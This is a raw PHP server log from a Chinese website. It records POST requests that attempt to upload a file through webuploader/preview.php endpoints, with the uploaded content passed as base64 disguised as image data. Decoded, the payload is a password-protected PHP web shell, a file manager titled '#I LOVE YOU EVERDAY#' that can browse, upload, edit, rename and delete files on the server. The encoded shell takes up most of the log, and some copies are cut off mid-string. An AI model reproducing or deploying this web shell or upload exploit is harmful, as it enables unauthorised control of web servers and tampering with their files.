oKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:27:15+08:00 ] 119.42.146.234 POST 51tianwei.com/admin/webuploader/preview.php [运行时间:0.002302s] [吞吐率:434.37req/s] [内存消耗:164.28kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3Njcml' => '', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:27:15+08:00 ] 119.42.146.234 POST 51tianwei.com/manage/lib/webuploader/preview.php [运行时间:0.002747s] [吞吐率:364.03req/s] [内存消耗:180.63kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'manage', 2 => 'lib', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiw